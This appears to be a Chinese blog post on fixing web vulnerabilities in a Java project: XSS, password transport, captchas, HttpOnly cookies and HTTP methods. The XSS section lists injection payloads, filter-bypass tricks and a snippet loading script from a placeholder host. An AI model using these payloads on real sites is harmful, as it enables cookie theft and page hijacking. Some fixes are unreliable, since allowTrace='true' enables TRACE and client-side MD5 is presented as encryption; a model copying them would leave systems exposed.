LK最近在对已有项目进行安全漏洞防御,现在将一些心得分享出来和大家一起讨论.主要是从下面几个方面进行漏洞修复。
1. 跨站脚本攻击漏洞(xss)
2. 敏感数据未加密传输
3. 验证机制缺陷
4. Cookie中未设HttpOnly标识
5. 危险的HTTP方法未禁用
1.跨站脚本攻击漏洞(xss)
先来了解一下什么是xss-
概念
xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。 -
类型
1.存储型/持久型
存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2.反射型/非持久型
反射型一般是带有恶意脚本参数的URL,是一次性的。
3.DOM型
基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。 -
构造方法
1.利用html标记<>进行操作<script>alert(1);</script> <script>prompt(1)</script> <iframe src="javascript:alert(1)">
2.利用html标签属性
利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:<img src="javascript:alert(1);"/> <table background="javascript:alert(1);"></table>
3.事件利用
可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性<input type="button" value="click me" "alert(1)" />
.4.利用css跨站
css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。<div style="background-image:url(javascript:alert(1))"></div> <style> body{background-image:url(javascript:alert(1));} //expression中可使用全角字符 p{background-image:expression(alert(1));} <style>@import'javascript:alert('xss');'</style> </style>
5.规避过滤规则
可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:<scRiPt>alert(1);</scrIPt> <scr<script>ipt>alert(1)</scr</script>ipt> <img src="javas cript:alert(1);"/>//语句必须完整,有分号或者标签对。 //可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码 <img src="javascrip#116:alert(1)" /> <a href="#javascript:alert('xss')">xss</a> //拆分,可绕过长度限制 <script>z='document.'</script> <script>z=+'write'("'</script> <script>z=z+'<script'</script>
6.DOM方法利用
var s=document.createElement("script"); s.src="http://xxx/xxx.js"; document.getElementsByTagName("head")[0].appendChild(s);
7.location方法利用
利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。<input type="button" value="click me" name=javascript:alert%281%29" location=this.name /> <img src="1" location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
-
防御
1前端检验前端页面引入检测脚本------------httphijack1.1.0.js 这是git上前端大神写的对其进行了小小的修改,与h5和node相关的部分暂且不用
他主要检测了以下几方面攻击
1)所有内联事件执行的代码
2)href 属性 javascript: 内嵌的代码
3)静态脚本文件内容
4)动态添加的脚本文件内容
5)document-write添加的内容
6)iframe嵌套
具体脚本如下:'use strict'; (function(window) { var httphijack = function() {}, inlineEventMap = {}, //内联事件扫描记录 inlineEventId = 0, //内联事件扫描ID scanInlineElement = false; //是否需要扫描内联事件 // 安全域,白名单 var safeList = [ /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //*.yy.com /((https|http):\/\/)+([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //http开头 /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(:[0-9]{1,4})+(\.)+[A-Za-z]{2,14}/i, //帶端口的請求 /[a-zA-Z0-9]\:\/\/[a-zA-Z0-9_/]*/i //手机相关 ]; // 危险域,黑名单 // var dangerList = []; // 过滤class关键词 var filterClassName = [ 'BAIDU_DUP_wrapper', //百度推广 'BAIDU_DSPUI_FLOWBAR' ]; // 过滤name关键词 var filterProName = [ 'text', '#text', 'IFRAME', 'SCRIPT', 'IMG' ]; // 过滤id关键词 var filterNodeId = [ '1qa2ws' ]; var inlineEventList = [ 'alert', 'location' ]; // reset console if (!console) { window.console = { log: function() { return true; } }; } /** * 统计上报函数 * @param {[type]} url 拦截脚本地址 * @param {[type]} className 拦截插入元素className * @param {[type]} eName 内联事件名称 * @param {[type]} fUrl ifrmae乔套url */ function hiidoStat(url, className, eName, fUrl) { var hiidoParam = { 'eventid': 10010793, 'bak1': url, 'bak2': className, 'bak3': eName, 'parm1': fUrl }; if( url!="" || url!=null ){ console.log("拦截脚本地址"+url) } if( url!="" || url!=null ){ console.log("拦截插入元素"+className) } if( url!="" || url!=null ){ console.log("内联事件名称"+eName) } if( url!="" || url!=null ){ console.log("frmae乔套url"+fUrl) } // h5Report(url, className, eName, fUrl); window.on_security_interdiction && window.on_security_interdiction.call(window, hiidoParam); } /** * h5性能检测统计 * @param {[type]} url 拦截脚本地址 * @param {[type]} className 拦截插入元素className * @param {[type]} eName 内联事件名称 * @param {[type]} iframeUrl ifrmae乔套url */ // function h5Report(url, className, eName, iframeUrl) { // var databody = {}, // queryStr = ''; // // databody.url = url ? url : ''; // databody.classname = className ? className : ''; // databody.name = eName ? eName : ''; // databody.iframeurl = iframeUrl ? iframeUrl : ''; // databody.pathname = window.location.pathname; // databody.hostname = window.location.hostname; // databody.ua = navigator.userAgent; // // for (var n in databody) { // if (databody[n] !== '') { // queryStr += n + '=' + databody[n] + '&'; // } // } // // (new Image).src = 'http://h5.yy.com/hostage/report?' + queryStr; // } /** * 过滤指定关键字 * @param {[Array]} 过滤词库 * @param {[String]} value [需要验证的字符串] * @return {[Boolean]} [false -- 验证不通过,true -- 验证通过] */ function filter(list, value) { if (list === safeList) { if (typeof(value) === 'undefined' || value === '') { return true; } } else { if (typeof(value) === 'undefined' || value === '') { return false; } } var length = list.length, i = 0; for (; i < length; i++) { // 建立黑名单正则 var reg = new RegExp(list[i]); // 存在黑名单中,拦截 if (reg.test(value.replace('https://', '').replace('http://', ''))) { return true; } } return false; } // 内联事件劫持 function inlineEventFilter() { var i = 0, obj = null; for (obj in document) { if (/^on./.test(obj)) { interceptionInlineEvent(obj, i++); } } } /** * 内联事件拦截 * @param {[String]} eventName [内联事件名] * @param {[Number]} eventID [内联事件id] * @return {[type]} [description] */ function interceptionInlineEvent(eventName, eventID) { var isClick = (eventName === 'onclick'); document.addEventListener(eventName.substr(2), function(e) { scanElement(e.target, isClick, eventName, eventID); }, true); } /** * 扫描元素是否存在内联事件 * @param {[DOM]} elem [DOM元素] * @param {[Boolean]} isClick [是否是内联点击事件] * @param {[String]} eventName [内联 on* 事件名] * @param {[Number]} eventID [给每个内联 on* 事件一个id] */ function scanElement(elem, isClick, eventName, eventID) { var flag = elem.isScan, code = '', // 扫描内联代码 hash = 0; // 跳过已扫描的事件 if (!flag) { flag = elem.isScan = ++inlineEventId; } hash = (flag << 8) | eventID; if (hash in inlineEventMap) { return; } inlineEventMap[hash] = true; // 非元素节点 if (elem.nodeType !== Node.ELEMENT_NODE) { return; } //扫描包括 a iframe img video div 等所有可以写内联事件的元素 if (elem[eventName]) { code = elem.getAttribute(eventName); if (code && filter(inlineEventList, code)) { // 注销事件 elem[eventName] = null; hiidoStat('', '', code, ''); console.log('拦截可疑内联事件:' + code); } } // 扫描 <a href="javascript:"> 的脚本 if (isClick && elem.tagName === 'A' && elem.protocol === 'javascript:') { code = elem.href.substr(11); if (filter(inlineEventList, code)) { // 注销代码 elem.href = 'javascript:void(0)'; hiidoStat('', '', code, ''); console.log('拦截可疑事件:' + code); } } // 递归扫描上级元素 scanElement(elem.parentNode); } /** * 主动防御 MutationEvent * 使用 MutationObserver 进行静态插入脚本的拦截 * @return {[type]} [description] */ // function interceptionStaticScript() { // var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; // // 该构造函数用来实例化一个新的 Mutation 观察者对象 Mutation 观察者对象能监听在某个范围内的 DOM 树变化 // if (!MutationObserver) return; // var observer = new MutationObserver(function(mutations) { // mutations.forEach(function(mutation) { // var nodes = mutation.addedNodes; // // // 逐个遍历 // for (var i = 0; i < nodes.length; i++) { // var node = nodes[i]; // // 扫描 script 与 iframe // if (node.tagName === 'SCRIPT' || node.tagName === 'IFRAME') { // // 拦截到可疑iframe // if (node.tagName === 'IFRAME' && node.src && !filter(safeList, node.src)) { // node.parentNode && node.parentNode.removeChild(node); // hiidoStat('', 'insertIFRMAETag', '', node.src); // // console.log('拦截到可疑iframe', node.src); // // } else if (node.src) { // // 只放行白名单 // if (!filter(safeList, node.src)) { // node.parentNode && node.parentNode.removeChild(node); // hiidoStat(node.src, 'insertScriptTag', '', ''); // // console.log('拦截可疑静态脚本:', node.src); // } // } // } // } // }); // }); // // // 传入目标节点和观察选项 // // 如果 target 为 document 或者 document.documentElement // // 则当前文档中所有的节点添加与删除操作都会被观察到d // observer.observe(document, { // subtree: true, // childList: true // }); // } /** * 使用 DOMNodeInserted 进行动态脚本拦截监 * 此处无法拦截,只能监测 * @return {[type]} [description] */ function interceptionDynamicScript() { document.addEventListener('DOMNodeInserted', function(e) { var node = e.target; if (!filter(safeList, node.src) || filter(filterClassName, node.className) || filter(filterProName, node.name) || filter(filterNodeId, node.id)) { node.parentNode.removeChild(node); hiidoStat(node.src ? node.src : '', node.className ? node.className : '', node.name ? node.name : '', ''); console.log('拦截可以创建节点:'+ node.nodeName + ',id为:'+(node.id?node.id:'')); } }, true); } /** * 重写单个 window 窗口的 document.write 属性 * @param {[BOM]} window [浏览器window对象] * @return {[type]} [description] */ function resetDocumentWrite(window) { var overWrite = window.document.write; window.document.write = function(string) { if (filter(filterClassName, string) || filter(filterProName, string) || filter(filterNodeId, string)) { hiidoStat('', string, '', ''); // console.log('拦截可疑模块:', string); return; } overWrite.apply(document, arguments); }; } /** * 重写单个 window 窗口的 setAttribute 属性 * @param {[BOM]} window [浏览器window对象] * @return {[type]} [description] */ function resetSetAttribute(window) { var overWrite = window.Element.prototype.setAttribute; window.Element.prototype.setAttribute = function(name, value) { if (this.tagName === 'SCRIPT' && /^src$/i.test(name)) { if (!filter(safeList, value)) { hiidoStat(value, '', '', ''); // console.log('拦截可疑模块:', value); return; } } overWrite.apply(this, arguments); }; } /** * 使用 MutationObserver 对生成的 iframe 页面进行监控, * 防止调用内部原生 setAttribute 及 document.write * @return {[type]} [description] */ function defenseIframe() { // 先保护当前页面 installHook(window); } /** * 实现单个 window 窗口的 setAttribute保护 * @param {[BOM]} window [浏览器window对象] * @return {[type]} [description] */ function installHook(window) { resetSetAttribute(window); resetDocumentWrite(window); // MutationObserver 的不同兼容性写法 var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; if (!MutationObserver) return; var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { var nodes = mutation.addedNodes; for (var i = 0; i < nodes.length; i++) { var node = nodes[i]; // 给生成的 iframe 里环境也装上重写的钩子 if (node.tagName === 'IFRAME') { node.contentWindow && installHook(node.contentWindow); } } }); }); observer.observe(document, { subtree: true, childList: true }); } /** * 使用 Object.defineProperty,锁住call和apply,使之无法被重写 * @return {[type]} [description] */ function lockCallAndApply() { // 锁住 call try { Object.defineProperty(Function.prototype, 'call', { value: Function.prototype.call, // 当且仅当仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变 writable: false, // 当且仅当该属性的 configurable 为 true 时,该属性才能够被改变,也能够被删除 configurable: false, enumerable: true }); // 锁住 apply Object.defineProperty(Function.prototype, 'apply', { value: Function.prototype.apply, writable: false, configurable: false, enumerable: true }); } catch (e) { console && console.log(e); } } /** * 操作cookie的方法 */ var s__cookie = { set: function(key, val) { var date = new Date(); date.setTime(date.getTime() + 60 * 1000); //格式化为cookie识别的时间 document.cookie = key + '=' + val + ';expires=' + date.toGMTString(); //设置cookie }, get: function(key) { var getCookie = document.cookie.replace(/[ ]/g, ''); var arrCookie = getCookie.split(';'); var tips; for (var i = 0; i < arrCookie.length; i++) { var arr = arrCookie[i].split('='); if (key == arr[0]) { tips = arr[1]; break; } } return tips; } }; /** * 重定向iframe url(页面被iframe包裹) */ function redirectionIframeSrc() { var flag = 'type'; if (self !== top) { var parentUrl = document.referrer, length = safeList.length, i = 0; for (; i < length; i++) { // 建立白名单正则 var reg = new RegExp(safeList[i], 'i'); // 存在白名单中,放行 if (reg.test(parentUrl)) { return; } } var url = location.href; var parts = url.split('#'); if (location.search) { parts[0] += '&' + flag + '=3'; } else { parts[0] += '?' + flag + '=3'; } try { if (!s__cookie.get('HtpLocTmp')) { top.location.href = parts.join('#'); // cookie记录这次跳转的时间点 s__cookie.set('HtpLocTmp', '1'); } hiidoStat('', '', '', parentUrl); // console.log('页面被嵌入iframe中:', parentUrl); } catch (e) { hiidoStat('', '', '', parentUrl); // console.log('页面被嵌入iframe中, 重定向失败'); } } } // 初始化方法 httphijack.init = function() { interceptionDynamicScript(); scanInlineElement && inlineEventFilter(); // interceptionStaticScript(); lockCallAndApply(); defenseIframe(); redirectionIframeSrc(); }; if (typeof define === 'function' && define.amd) { define('httphijack', [], function() { return httphijack; }); } else { window.httphijack = httphijack; } // 不支持 IE8- if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE6.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE7.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE8.0')) { return; } else { if (!(/localhost/i).test(location.host) || (navigator.appName === 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) !== '7.' || navigator.appVersion.match(/8./i) !== '8.'))) { httphijack.init(); } } })(window);
有兴趣的话可以在git上搜里面有详细的功能介绍
2.后端过滤
xss防御的重点是后段,因为前端能做的真的很少
后段我是采用过滤器实现的- 添加xss过滤器
/** * 处理xss攻击 * @author yrz * */ public class RequestFilter extends OncePerRequestFilter{ @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { // 将request通过自定义的装饰类进行装饰 XssRequestWrapper xssRequest = new XssRequestWrapper((HttpServletRequest) request); filterChain.doFilter(xssRequest, response); } }
- reqeust包装类,重写getParameter()等方法,这里面对参数的转义和替换,根据实际需求更改
package com.sinosoft.filter; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.regex.Pattern; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; public class XssRequestWrapper extends HttpServletRequestWrapper{ private HttpServletRequest request; public XssRequestWrapper(HttpServletRequest request) { super(request); this.request = request; } /** * 重写getParameter方法 */ @Override public String getParameter(String name) { String value = super.getParameter(name); if (value == null) { return null; } value = format(value); return value; } /** * 重写getParameterMap */ @Override @SuppressWarnings("unchecked") public Map<String, String[]> getParameterMap() { HashMap<String, String[]> paramMap = (HashMap<String, String[]>) super.getParameterMap(); paramMap = (HashMap<String, String[]>) paramMap.clone(); for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext(); ) { Map.Entry<String, String[]> entry = (Map.Entry<String, String[]>) iterator.next(); String [] values = entry.getValue(); for (int i = 0; i < values.length; i++) { if(values[i] instanceof String){ values[i] = format(values[i]); } } entry.setValue(values); } return paramMap; } /** * 重写getParameterValues */ @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = format(values[i]); } return encodedValues; } /** * 重写getHeader */ @Override public String getHeader(String name) { // TODO Auto-generated method stub return format(super.getHeader(name)); } public String filter(String message) { if (message == null) return (null); message = format(message); return message; } /** * @desc 统一处理特殊字符的方法,替换掉sql和js的特殊字符 * @param name 要替换的字符 */ private String format(String name) { return xssEncode(name); } /** * 将容易引起xss & sql漏洞的半角字符直接替换成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; }else{ s = stripXSSAndSql(s); } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case '>': sb.append(">");// 转义大于号 break; case '<': sb.append("<");// 转义小于号 break; // case '\'': // sb.append("'");// 转义单引号 // break; // case '\"': // sb.append(""");// 转义双引号 // break; // case '&': // sb.append("&");// 转义& // break; // case '#': // sb.append("#");// 转义# // break; default: sb.append(c); break; } } return sb.toString(); } /** * * 防止xss跨脚本攻击(替换,根据实际情况调整) */ public static String stripXSSAndSql(String value) { if (value != null) { // NOTE: It's highly recommended to use the ESAPI library and // uncomment the following line to // avoid encoded attacks. // value = ESAPI.encoder().canonicalize(value); // Avoid null characters /** value = value.replaceAll("", "");***/ // Avoid anything between script tags Pattern scriptPattern = Pattern.compile("<[\r\n| | ]*script[\r\n| | ]*>(.*?)</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e-xpression scriptPattern = Pattern.compile("src[\r\n| | ]*=[\r\n| | ]*[\\\"|\\\'](.*?)[\\\"|\\\']", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Remove any lonesome </script> tag scriptPattern = Pattern.compile("</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Remove any lonesome <script ...> tag scriptPattern = Pattern.compile("<[\r\n| | ]*script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid eval(...) expressions scriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid e-xpression(...) expressions scriptPattern = Pattern.compile("e-xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid javascript:... expressions scriptPattern = Pattern.compile("javascript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid vbscript:... expressions scriptPattern = Pattern.compile("vbscript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid expressions scriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); } return value; } }
- xss注入过滤器
<filter> <filter-name>xssRequestFilter</filter-name> <filter-class>com.sinosoft.filter.RequestFilter</filter-class> </filter> <filter-mapping> <filter-name>xssRequestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
到此整个xss监测和防御就告一段落了,当然还可以使用csp内容安全策略,有兴趣大家可以研究研究,毕竟不是专业的前端。
2. 敏感数据未加密传输
-
问题
口令的传输未采用加密传输的机制
-
解决思路
启用信道加密以及身份识别技术,https协议,并且在前台做数据加密。
具体实现:1.用户密码在前台进行md5加密。2.新增和修改用户时,用户密码进行2次加密。
https实现请观看这篇博客 https://www.cnblogs.com/moon521/p/5948058.html
3.验证机制缺陷
这块主要添加高强度验证码
- html
<label class="block clearfix">
<span class="block input-icon input-icon-right">
<input id="checks" style="width:100px;" name="checks" class="form-control" placeholder="请输入验证码" type="password" value=""/>
<img id="imgVerify" style="float: left;margin-left: 130px;margin-top: -28px;" src="" alt="点击更换验证码" /><a href="" style="float: right;margin-top: -28px;margin-right: 80px;" onclick="getVerify()" rel="nofollow">看不清,换一张</a>
</span>
</label>
- js
$(document.body).ready(function () {
//首次获取验证码
$("#imgVerify").attr("src","${ctx}/getVerify?"+Math.random());
});
//点击“看不清楚”获取验证码
function getVerify(){
var src1=document.getElementById('imgVerify')
src1.src = "${ctx}/getVerify?"+Math.random();
}
-验证码生成类
public class RandomValidateCode {
public static final String RANDOMCODEKEY= "RANDOMVALIDATECODEKEY";//放到session中的key
//private String randString = "0123456789";//随机产生只有数字的字符串 private String
private String randString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生只有字母的字符串
//private String randString = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生数字与字母组合的字符串
private int width = 95;// 图片宽
private int height = 25;// 图片高
private int lineSize = 40;// 干扰线数量
private int stringNum = 4;// 随机产生字符数量
private Random random = new Random();
/*
* 获得字体
*/
private Font getFont() {
return new Font("Fixedsys", Font.CENTER_BASELINE, 18);
}
/*
* 获得颜色
*/
private Color getRandColor(int fc, int bc) {
if (fc > 255)
fc = 255;
if (bc > 255)
bc = 255;
int r = fc + random.nextInt(bc - fc - 16);
int g = fc + random.nextInt(bc - fc - 14);
int b = fc + random.nextInt(bc - fc - 18);
return new Color(r, g, b);
}
/**
* 生成随机图片
*/
public void getRandcode(HttpServletRequest request, HttpServletResponse response) {
HttpSession session = request.getSession();
// BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);
Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作
g.fillRect(0, 0, width, height);
g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18));
g.setColor(getRandColor(110, 133));
// 绘制干扰线
for (int i = 0; i <= lineSize; i++) {
drowLine(g);
}
// 绘制随机字符
String randomString = "";
for (int i = 1; i <= stringNum; i++) {
randomString = drowString(g, randomString, i);
}
//将生成的随机字符串保存到session中,而jsp界面通过session.getAttribute("RANDOMCODEKEY"),
//获得生成的验证码,然后跟用户输入的进行比较
session.removeAttribute(RANDOMCODEKEY);
session.setAttribute(RANDOMCODEKEY, randomString);
g.dispose();
try {
// 将内存中的图片通过流动形式输出到客户端
ImageIO.write(image, "JPEG", response.getOutputStream());
} catch (Exception e) {
e.printStackTrace();
}
}
/*
* 绘制字符串
*/
private String drowString(Graphics g, String randomString, int i) {
g.setFont(getFont());
g.setColor(new Color(random.nextInt(101), random.nextInt(111), random
.nextInt(121)));
String rand = String.valueOf(getRandomString(random.nextInt(randString
.length())));
randomString += rand;
g.translate(random.nextInt(3), random.nextInt(3));
g.drawString(rand, 13 * i, 16);
return randomString;
}
/*
* 绘制干扰线
*/
private void drowLine(Graphics g) {
int x = random.nextInt(width);
int y = random.nextInt(height);
int xl = random.nextInt(13);
int yl = random.nextInt(15);
g.drawLine(x, y, x + xl, y + yl);
}
/*
* 获取随机的字符
*/
public String getRandomString(int num) {
return String.valueOf(randString.charAt(num));
}
}
- 后台生成验证码
@RequestMapping(method = RequestMethod.GET, value = "/getVerify")
public void getVerify(HttpServletRequest request, HttpServletResponse response){
response.setContentType("image/jpeg");//设置相应类型,告诉浏览器输出的内容为图片
response.setHeader("Pragma", "No-cache");//设置响应头信息,告诉浏览器不要缓存此内容
response.setHeader("Cache-Control", "no-cache");
response.setDateHeader("Expire", 0);
RandomValidateCode randomValidateCode = new RandomValidateCode();
try {
randomValidateCode.getRandcode(request, response);//输出验证码图片方法
} catch (Exception e) {
e.printStackTrace();
}
}
- 验证码校验
String checks = request.getParameter("checks").trim().toLowerCase();
HttpSession session = request.getSession();
String verify = (String) session.getAttribute("RANDOMVALIDATECODEKEY");
String verityNew = verify.toLowerCase();
//将session中的验证码记录和用户提交的值进行比较
//一致移除session记录,错误抛出异常
if (!checks.equals(verityNew)) {
throw new AuthenticationServiceException("VerityException");
} else {
session.removeAttribute("RANDOMVALIDATECODEKEY");
}
4. Cookie中未设HttpOnly标识
tomcat context.xml文件中配置<Context useHttpOnly="true">
5.危险的HTTP方法未禁用
tomcat server.xml文件中配置
<Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" allowTrace="true"/>
至此整个安全漏洞防御告一段落,当然还有好多问题,大家有什么问题可以在下面留言。
希望今天的自己比昨天更加进步。